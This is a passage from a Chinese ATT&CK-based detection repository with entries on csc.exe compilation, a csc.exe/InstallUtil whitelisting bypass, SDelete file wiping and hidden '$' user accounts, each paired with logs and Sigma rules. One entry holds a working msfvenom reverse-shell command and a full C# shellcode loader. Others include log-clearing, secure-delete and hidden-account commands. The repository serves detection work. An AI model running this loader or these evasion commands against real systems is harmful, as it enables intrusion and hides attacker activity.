参考工具：<https://tool.520101.com/wangluo/jinzhizhuanhuan/>\n\n5. **测试与验证**：\n   - 在测试环境中模拟十六进制IP的`ping`命令，验证检测规则的有效性。\n   - 调整规则阈值，排除合法网络诊断场景的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1027.003  \n  <https://attack.mitre.org/techniques/T1027/003/>\n- Sigma规则：win_susp_ping_hex_ip  \n  <https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_ping_hex_ip.yml>\n- IP地址进制转换工具  \n  <https://tool.520101.com/wangluo/jinzhizhuanhuan/>\n"
  },
  {
    "path": "Windows/07逃避防御/T1027.004-Win-传输后编译csc.exe(白名单).md",
    "content": "# T1027.004-Win-传输后编译\n\n## 描述\n\n攻击者可能通过将恶意代码以未编译的源代码形式传输至目标系统，使其难以被检测和分析，从而绕过针对可执行文件的防护措施。这些源代码文件通常需要通过本地工具（如`csc.exe`或GCC/MinGW）进行编译才能执行。\n\n源代码有效载荷可能被加密、编码或嵌入其他文件中，例如通过钓鱼附件传输。某些情况下，攻击者可能要求用户手动触发编译或执行操作。此外，有效载荷可能以目标操作系统无法直接识别的格式提供（例如，macOS/Linux上的EXE文件），然后通过捆绑的编译器或执行框架（如Mono）重新编译为可执行二进制文件。\n\n通过这种方式，攻击者能够规避基于签名的检测机制，增加恶意代码的隐蔽性。\n\n## 测试案例\n\n### 测试1：使用csc.exe编译C#源代码\n\n`csc.exe`是Microsoft .NET Framework中的C#语言编译器。攻击者可通过`csc.exe`将源代码文件编译为可执行文件（如`.exe`），从而实现恶意功能。\n\n**攻击命令**（在命令提示符或PowerShell中运行）：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:#{output_file} #{input_file}\n```\n\n**示例**：\n- `output_file`: `C:\\Users\\zhuli\\Desktop\\calc.exe`\n- `input_file`: `C:\\Users\\zhuli\\Desktop\\calc.cs`\n\n## 检测日志\n\n- **Windows安全日志**：记录进程创建事件（Event ID 4688，需启用进程跟踪审核）。\n- **Sysmon日志**：记录进程创建事件（Event ID 1）及相关命令行参数。\n\n## 测试复现\n\n### 测试1：使用csc.exe编译C#源代码\n\n以下为在Windows环境中的复现过程：\n\n```cmd\nC:\\Users\\zhuli>C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1027.004\\src\\calc.exe C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1027.004\\src\\calc.cs\nMicrosoft (R) Visual C# Compiler version 4.8.3761.0\nfor C# 5\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nThis compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240\n```\n\n**说明**：\n- 命令成功将`calc.cs`编译为`calc.exe`，表明`csc.exe`被用于生成可执行文件。\n- 输出显示编译器版本信息，确认操作完成。\n\n## 日志留痕\n\n### Sysmon日志（Event ID 1：进程创建）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2022/1/9 20:47:06\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n关键字:\n用户: SYSTEM\n计算机: zhuli.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\nUtcTime: 2022-01-09 12:47:06.034\nProcessGuid: {78c84c47-d94a-61da-9908-000000000800}\nProcessId: 5264\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\nFileVersion: 4.8.3761.0 built by: NET48REL1\nDescription: Visual C# Command Line Compiler\nProduct: Microsoft® .NET Framework\nCompany: Microsoft Corporation\nOriginalFileName: csc.exe\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe  /out:C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1027.004\\src\\calc.exe C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1027.004\\src\\calc.cs\nCurrentDirectory: C:\\Users\\zhuli\\\nUser: QAX\\zhuli\nLogonGuid: {78c84c47-3b57-61d8-525f-090000000000}\nLogonId: 0x95F52\nTerminalSessionId: 1\nIntegrityLevel: Medium\nHashes: SHA1=93CF877F5627E55EC076A656E935042FAC39950E,MD5=23EE3D381CFE3B9F6229483E2CE2F9E1,SHA256=4240A12E0B246C9D69AF1F697488FE7DA1B497DF20F4A6F95135B4D5FE180A57,IMPHASH=EE1E569AD02AA1F7AECA80AC0601D80D\nParentProcessGuid: {78c84c47-d947-61da-9708-000000000800}\nParentProcessId: 4340\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\"\nParentUser: QAX\\zhuli\n```\n\n**分析**：\n- 日志记录了`csc.exe`的执行，包括完整的命令行参数，表明编译了`calc.cs`为`calc.exe`。\n- 父进程为`cmd.exe`，提示可能通过命令提示符触发。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 使用CSC.EXE对代码进行编译\ndescription: Detects execution of csc.exe to compile C# source code, indicating potential compile-after-delivery behavior.\nstatus: experimental\nauthor: 12306Br0\ndate: 2022/01/09\nreferences:\n  - https://attack.mitre.org/techniques/T1027/004/\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\csc.exe'\n    CommandLine|contains: '/out:'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - User\nfalsepositives:\n  - Legitimate software development activities\n  - Administrative scripts compiling code\nlevel: low\n```\n\n**规则说明**：\n- 检测`csc.exe`的进程创建事件（Event ID 1），且命令行参数包含`/out:`，表明正在编译源代码。\n- 规则为实验性，需在环境中测试以减少合法开发活动导致的误报。\n\n### 建议\n\n1. **监控编译器执行**：\n   - 监视`csc.exe`、`msbuild.exe`、GCC/MinGW等编译器的执行路径和命令行参数。\n   - 关注非开发环境（如普通用户工作站）中的编译行为。\n\n2. **检测文件创建事件**：\n   - 监控编译生成的可执行文件（如`.exe`）的文件创建或写入事件（Sysmon Event ID 11）。\n   - 检查输出文件路径是否为用户可写目录（如`%APPDATA%`、`%TEMP%`）。\n\n3. **识别跨平台编译器**：\n   - 检测系统中是否存在非预期的跨平台编译器或框架（如Mono），验证其合法用途。\n   - 限制非开发系统上此类工具的安装和运行。\n\n4. **启用详细日志**：\n   - 配置Sysmon记录进程创建（Event ID 1）和文件操作（Event ID 11）。\n   - 启用Windows安全日志的进程跟踪（Event ID 4688），捕获`csc.exe`执行。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测异常编译行为。\n   - 设置告警规则，针对非开发用户或系统运行`csc.exe`的行为。\n\n6. **测试与验证**：\n   - 在测试环境中模拟源代码编译行为，验证检测规则有效性。\n   - 调整规则阈值，排除合法开发场景的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1027.004  \n  <https://attack.mitre.org/techniques/T1027/004/>\n- 跟着ATT&CK学安全之defense-evasion  \n  <https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>\n"
  },
  {
    "path": "Windows/07逃避防御/T1027.004-Win-使用Csc.exe执行payload（白名单）.md",
    "content": "# T1027.004-Win-使用Csc.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用合法的软件开发工具（如`csc.exe`）执行恶意代码，以规避应用白名单防御机制。这些工具通常由可信证书签名，允许在系统中以合法身份运行。通过将恶意代码嵌入C#源代码并使用`csc.exe`编译，攻击者能够在目标系统上生成并执行恶意可执行文件，从而绕过基于签名的检测和白名单限制。\n\n## 测试案例\n\n### 测试1：使用Csc.exe编译并执行恶意C# Payload\n\n`csc.exe`是Microsoft .NET Framework中的C#编译器，通常位于`C:\\Windows\\Microsoft.NET\\Framework[64]\\<version>\\csc.exe`。攻击者可通过`csc.exe`将恶意C#源代码编译为可执行文件或DLL，并结合`InstallUtil.exe`执行以加载恶意代码。\n\n**说明**：\n- 默认情况下，`csc.exe`所在路径未添加到系统`PATH`环境变量，因此需指定完整路径运行。\n- 在高版本Windows（如Windows 10/11、Server 2016+）中，可通过组策略启用进程命令行参数记录以增强监控。\n\n**组策略配置**：\n- 路径：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`\n- 或者，部署Sysmon以记录详细的进程创建事件。\n\n**默认路径**（以Windows 7为例）：\n- 32位：`C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe`\n- 64位：`C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe`\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录`csc.exe`和`InstallUtil.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数和父进程信息。\n\n## 测试复现\n\n### 环境准备\n\n- **攻击机**：Kali 2019\n- **靶机**：Windows Server 2012\n\n### 测试过程\n\n#### 1. 生成Payload\n\n使用Metasploit生成C#格式的恶意shellcode（反向TCP Shell）：\n\n```bash\nmsfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp\n```\n\n将生成的shellcode复制到以下C#源代码（`Micropoor_Csc.cs`）中：\n\n```csharp\nusing System;\nusing System.Net;\nusing System.Diagnostics;\nusing System.Reflection;\nusing System.Configuration.Install;\nusing System.Runtime.InteropServices;\n\n// msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp\npublic class Program\n{\n    public static void Main()\n    {\n    }\n}\n\n[System.ComponentModel.RunInstaller(true)]\npublic class Sample : System.Configuration.Install.Installer\n{\n    public override void Uninstall(System.Collections.IDictionary savedState)\n    {\n        Shellcode.Exec();\n    }\n}\n\npublic class Shellcode\n{\n    public static void Exec()\n    {\n        byte[] shellcode = new byte[510] {\n            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,\n            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,\n            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,\n            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,\n            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,\n            0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,\n            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,\n            0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,\n            0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,\n            0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,\n            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,\n            0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,\n            0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,\n            0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,\n            0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,\n            0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,\n            0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4,\n            0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,\n            0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,\n            0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,\n            0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,\n            0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,\n            0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,\n            0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,\n            0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,\n            0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,\n            0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,\n            0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,\n            0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,\n            0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,\n            0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,\n            0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,\n            0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,\n            0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5\n        };\n\n        UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n        Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);\n        IntPtr hThread = IntPtr.Zero;\n        UInt32 threadId = 0;\n        IntPtr pinfo = IntPtr.Zero;\n        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);\n        WaitForSingleObject(hThread, 0xFFFFFFFF);\n    }\n\n    private static UInt32 MEM_COMMIT = 0x1000;\n    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n\n    [DllImport(\"kernel32\")]\n    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);\n\n    [DllImport(\"kernel32\")]\n    private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);\n\n    [DllImport(\"kernel32\")]\n    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);\n\n    [DllImport(\"kernel32\")]\n    private static extern bool CloseHandle(IntPtr handle);\n\n    [DllImport(\"kernel32\")]\n    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);\n\n    [DllImport(\"kernel32\")]\n    private static extern IntPtr GetModuleHandle(string moduleName);\n\n    [DllImport(\"kernel32\")]\n    private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);\n\n    [DllImport(\"kernel32\")]\n    private static extern UInt32 LoadLibrary(string lpFileName);\n\n    [DllImport(\"kernel32\")]\n    private static extern UInt32 GetLastError();\n}\n```\n\n#### 2. 靶机执行\n\n在Windows Server 2012上执行以下命令：\n\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\\Users\\Administrator\\Desktop\\a\\1.cs\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Users\\Administrator\\Desktop\\a\\1.exe\n```\n\n**结果**：\n- 编译命令生成`1.exe`（DLL格式）。\n- `InstallUtil.exe`以卸载模式（`/U`）运行，触发`Uninstall`方法执行shellcode。\n- 测试未成功建立反向会话，可能因网络配置或防御机制拦截，需进一步调试。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n事件ID: 4688\n进程信息:\n新进程 ID: 0xa9c\n新进程名称: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\n令牌提升类型: TokenElevationTypeDefault (1)\n创建者进程 ID: 0xaa0\n进程命令行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\\Users\\Administrator\\Desktop\\a\\1.cs\n\n事件ID: 4688\n进程信息:\n新进程 ID: 0x984\n新进程名称: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe\n令牌提升类型: TokenElevationTypeDefault (1)\n创建者进程 ID: 0xaa0\n进程命令行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Users\\Administrator\\Desktop\\a\\1.exe\n```\n\n**分析**：\n- 日志记录了`csc.exe`和`InstallUtil.exe`的执行，包含完整的命令行参数。\n- `csc.exe`的命令行显示了编译参数（如`/target:library`、`/unsafe`），表明生成了DLL。\n- `InstallUtil.exe`的`/U`参数触发了恶意代码执行。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Suspicious Parent of Csc.exe or InstallUtil.exe\ndescription: Detects suspicious execution of csc.exe or InstallUtil.exe, potentially indicating payload compilation and execution.\nreferences:\n  - https://twitter.com/SBousseaden/status/1094924091256176641\n  - https://attack.mitre.org/techniques/T1027/004/\ntags:\n  - attack.defense_evasion\n  - attack.t1027.004\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_csc:\n    EventID: 1\n    Image|endswith: '\\csc.exe'\n    CommandLine|contains: '/out:'\n  selection_installutil:\n    EventID: 1\n    Image|endswith: '\\InstallUtil.exe'\n    CommandLine|contains:\n      - '/U '\n      - '/logfile='\n  selection_parent:\n    ParentImage|endswith:\n      - '\\wscript.exe'\n      - '\\cscript.exe'\n      - '\\mshta.exe'\n  condition: (selection_csc or selection_installutil) and selection_parent\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate software development activities\n  - Administrative scripts compiling code\nlevel: high\n```\n\n**规则说明**：\n- 检测`csc.exe`（编译C#代码）或`InstallUtil.exe`（执行DLL）的进程创建事件，结合可疑父进程（如`wscript.exe`、`cscript.exe`、`mshta.exe`）。\n- 规则为实验性，需测试以减少合法开发行为的误报。\n\n### 建议\n\n1. **监控编译器和执行工具**：\n   - 关注`csc.exe`和`InstallUtil.exe`的执行，检查命令行参数是否包含`/out:`（编译输出）或`/U`（卸载模式）。\n   - 验证父进程是否为非典型的脚本解释器（如`wscript.exe`、`mshta.exe`）。\n\n2. **启用详细日志**：\n   - 配置Sysmon记录进程创建（Event ID 1）和文件创建（Event ID 11），捕获`csc.exe`生成的可执行文件。\n   - 启用Windows安全日志的进程跟踪（Event ID 4688），确保记录命令行参数。\n\n3. **检测文件创建**：\n   - 监控用户目录（如`%APPDATA%`、`%TEMP%`）中生成的`.exe`或`.dll`文件。\n   - 检查与`csc.exe`或`InstallUtil.exe`相关的文件写入事件。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测异常的编译和执行行为。\n   - 设置告警规则，针对非开发环境中的`csc.exe`或`InstallUtil.exe`执行。\n\n5. **限制白名单工具滥用**：\n   - 使用AppLocker或组策略限制`csc.exe`和`InstallUtil.exe`的执行，仅允许在开发环境中运行。\n   - 监控非开发用户（如普通用户账户）运行这些工具的行为。\n\n6. **测试与验证**：\n   - 在测试环境中模拟恶意C#代码编译和执行，验证检测规则有效性。\n   - 调整规则阈值，排除合法开发场景的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1027.004  \n  <https://attack.mitre.org/techniques/T1027/004/>\n- 基于白名单Csc.exe执行Payload第七季  \n  <https://micro8.gitbook.io/micro8/contents-1/71-80/77-ji-yu-bai-ming-dan-csc.exe-zhi-hang-payload-di-qi-ji>\n- Twitter：Suspicious Csc.exe Behavior  \n  <https://twitter.com/SBousseaden/status/1094924091256176641>\n"
  },
  {
    "path": "Windows/07逃避防御/T1027.005-Win-SDelete删除文件.md",
    "content": "# T1027.005-Win-SDelete删除文件\n\n## 描述\n\n攻击者可能通过删除或修改主机系统上的生成物（如日志、隔离的恶意软件文件等）来隐藏其活动痕迹。系统日志的存储位置和格式因平台而异，例如Windows事件日志、Linux/MacOS的Bash历史记录或`/var/log/*`文件。清除这些日志或文件可能破坏安全解决方案的完整性，导致入侵活动无法被检测，同时增加取证分析和事件响应的难度。\n\n具体到Windows环境，攻击者可能通过清除事件日志（如系统、应用程序、安全日志）来掩盖账号管理、登录或目录服务访问等操作的痕迹。清除日志的常用方法包括：\n\n- 使用`wevtutil`命令（如`wevtutil cl system`、`wevtutil cl security`）。\n- 使用PowerShell或其他脚本工具。\n\n此外，攻击者可能使用专门的工具（如SDelete）安全删除文件，以防止文件内容被恢复，从而进一步规避检测。\n\n## 测试案例\n\n### 测试1：使用SDelete安全删除文件\n\nSDelete是Sysinternals套件中的命令行工具，支持多种选项，可用于安全删除文件、目录或清理逻辑磁盘的可用空间。SDelete通过覆盖文件内容（如使用随机数据或零填充）确保文件无法恢复，并支持通配符匹配。\n\n**攻击命令**（在命令提示符中运行）：\n```cmd\nsdelete64.exe -s <file_path>\n```\n\n**示例**：\n- 删除指定文件：`sdelete64.exe -s SDelete.zip`\n- 使用通配符：`sdelete64.exe -s *.txt`\n- 清理磁盘空闲空间：`sdelete64.exe -c C:`\n\n## 检测日志\n\n- **Windows安全日志**：记录文件访问和删除操作（Event ID 4663、4656、4658，需启用对象访问审核）。\n- **Sysmon日志**：可能记录SDelete的进程创建（Event ID 1）或文件操作（Event ID 11）。\n\n## 测试复现\n\n### 测试1：使用SDelete删除文件\n\n#### 1. 下载SDelete\n\n下载地址：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/sdelete>\n\n#### 2. 执行删除操作\n\n在Windows环境中运行以下命令：\n\n```cmd\nC:\\Users\\12306Br0\\Desktop\\SDelete>sdelete64.exe -s SDelete.zip\n\nSDelete v2.02 - Secure file delete\nCopyright (C) 1999-2018 Mark Russinovich\nSysinternals - www.sysinternals.com\n\nSDelete is set for 1 pass.\nNo files/folders found that match SDelete.zip.\n```\n\n**说明**：\n- 命令尝试删除`SDelete.zip`，但输出显示未找到匹配文件，可能是文件路径错误或文件不存在。\n- SDelete默认使用1次覆盖（`-s`表示子目录，需正确指定目标文件）。\n\n**成功案例**（假设目标文件存在）：\n```cmd\nC:\\Users\\12306Br0\\Desktop\\SDelete>sdelete64.exe -s test.txt\n\nSDelete v2.02 - Secure file delete\nCopyright (C) 1999-2018 Mark Russinovich\nSysinternals - www.sysinternals.com\n\nSDelete is set for 1 pass.\nC:\\Users\\12306Br0\\Desktop\\SDelete\\test.txt: 1 pass\n```\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4663：对象访问）\n\n```xml\nEvent-ID: 4663\n试图访问对象。\n\n对象:\n  安全 ID: SYSTEM\n  帐户名: 12306BR0-PC$\n  帐户域: WORKGROUP\n  登录 ID: 0x3e7\n\n对象:\n  对象服务器: Security\n  对象类型: File\n  对象名: C:\\Users\\12306Br0\\Desktop\\SDelete\\test.txt\n  句柄 ID: 0x4e8\n\n进程信息:\n  进程 ID: 0x128\n  进程名: C:\\Users\\12306Br0\\Desktop\\SDelete\\sdelete64.exe\n\n访问请求信息:\n  访问: DELETE\n  访问掩码: 0x10000\n```\n\n**分析**：\n- 日志记录了`sdelete64.exe`尝试删除`test.txt`的操作，访问类型为`DELETE`。\n- SDelete可能在删除前重命名文件为特定扩展名（如`.AAA`或`.ZZZ`），这些行为可用于检测。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 使用SDelete安全删除\ndescription: Detects file renaming behavior associated with SDelete secure file deletion.\nstatus: experimental\nauthor: 12306Br0\ndate: 2020/06/09\nreferences:\n  - https://jpcertcc.github.io/ToolAnalysisResultSheet\n  - https://www.jpcert.or.jp/english/pub/sr/ir_research.html\n  - https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx\ntags:\n  - attack.defense_evasion\n  - attack.t1027.005\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID:\n      - 4656 # 句柄请求\n      - 4663 # 对象访问\n      - 4658 # 句柄关闭\n    ObjectName|endswith:\n      - '.AAA'\n      - '.ZZZ'\n  condition: selection\nfields:\n  - ObjectName\n  - ProcessName\n  - User\nfalsepositives:\n  - Legitimate use of SDelete by administrators\nlevel: low\n```\n\n**规则说明**：\n- 检测SDelete删除文件时可能的重命名行为（如将文件重命名为`.AAA`或`.ZZZ`扩展名）。\n- 规则为实验性，测试效果有限，需谨慎使用并结合环境验证。\n\n### 建议\n\n1. **监控SDelete执行**：\n   - 使用Sysmon（Event ID 1）捕获`sdelete.exe`或`sdelete64.exe`的进程创建事件，检查命令行参数。\n   - 关注非管理员用户或非预期环境（如普通工作站）运行SDelete的行为。\n\n2. **检测文件操作**：\n   - 监控文件重命名或删除事件（Sysmon Event ID 11，安全日志Event ID 4663），尤其涉及`.AAA`或`.ZZZ`扩展名的文件。\n   - 检查用户目录（如`%APPDATA%`、`%TEMP%`）中的异常文件删除操作。\n\n3. **启用对象访问审核**：\n   - 配置Windows安全策略，启用文件系统对象访问审核，捕获Event ID 4656、4663、4658。\n   - 确保审核策略覆盖关键目录（如日志存储路径）。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测SDelete相关活动。\n   - 设置告警规则，针对非预期SDelete执行或异常文件重命名行为。\n\n5. **限制SDelete使用**：\n   - 使用AppLocker或组策略限制`sdelete.exe`的执行，仅允许在特定管理场景下运行。\n   - 监控未经授权的Sysinternals工具下载或使用。\n\n6. **测试与验证**：\n   - 在测试环境中模拟SDelete删除文件，验证检测规则的有效性。\n   - 调整规则阈值，减少合法管理员操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1027.005  \n  <https://attack.mitre.org/techniques/T1027/005/>\n- MITRE ATT&CK T1066 (已弃用)  \n  <https://attack.mitre.org/techniques/T1066/>\n- SDelete官方文档  \n  <https://docs.microsoft.com/zh-cn/sysinternals/downloads/sdelete>\n- JPCERT工具分析结果  \n  <https://jpcertcc.github.io/ToolAnalysisResultSheet>\n- JPCERT研究报告  \n  <https://www.jpcert.or.jp/english/pub/sr/ir_research.html>\n"
  },
  {
    "path": "Windows/07逃避防御/T1036-win-隐藏用户账户带$符号.md",
    "content": "# T1036-Win-隐藏用户账户带$符号\n\n## 描述\n\n攻击者可能通过伪装技术操纵可执行文件或用户账户的名称，以规避防御和检测机制。MITRE ATT&CK框架中的T1036（伪装）描述了攻击者如何通过以下方式隐藏恶意活动：\n\n- **重命名合法工具**：攻击者可能复制并重命名系统工具（如`rundll32.exe`）到受信任路径（如`C:\\Windows\\System32`），并使用常见进程名（如`explorer.exe`或`svchost.exe`）以规避基于文件名或路径的检测。\n- **Right-to-Left Override (RTLO)**：利用Unicode字符（U+202E）反转文件名显示，欺骗用户和安全工具。例如，文件`March 25 \\u202Excod.scr`显示为`March 25 rcs.docx`。\n- **修改元数据**：更改二进制文件的图标、产品名称或描述等PE头信息，使其看似合法。\n- **隐藏用户账户**：在Windows中，攻击者可能创建带有`$`符号的用户账户（如`admin97$`），使其在`net user`命令查询中隐藏，降低被发现的概率。\n\n在Linux系统中，攻击者可能在进程运行后修改其名称或路径，伪装为合法进程（如`/bin`目录下的`rsyncd`或`dbus-inotifier`）。\n\n本案例聚焦于Windows环境中通过创建带`$`符号的隐藏用户账户（T1036）来规避检测的行为。\n\n## 测试案例\n\n### 测试1：创建带$符号的隐藏用户账户\n\n攻击者使用`net user`命令创建带`$`符号的用户账户，试图使其在常规用户查询（如`net user`）中不可见，从而隐藏其存在。\n\n**攻击命令**（需以管理员权限在命令提示符中运行）：\n```cmd\nnet user admin97$ admin /add\n```\n\n**说明**：\n- 创建用户名为`admin97$`的用户，密码为`admin`。\n- 带`$`的用户账户在`net user`查询中可能不可见，但实际存在于系统中。\n\n**清理命令**：\n```cmd\nnet user admin97$ 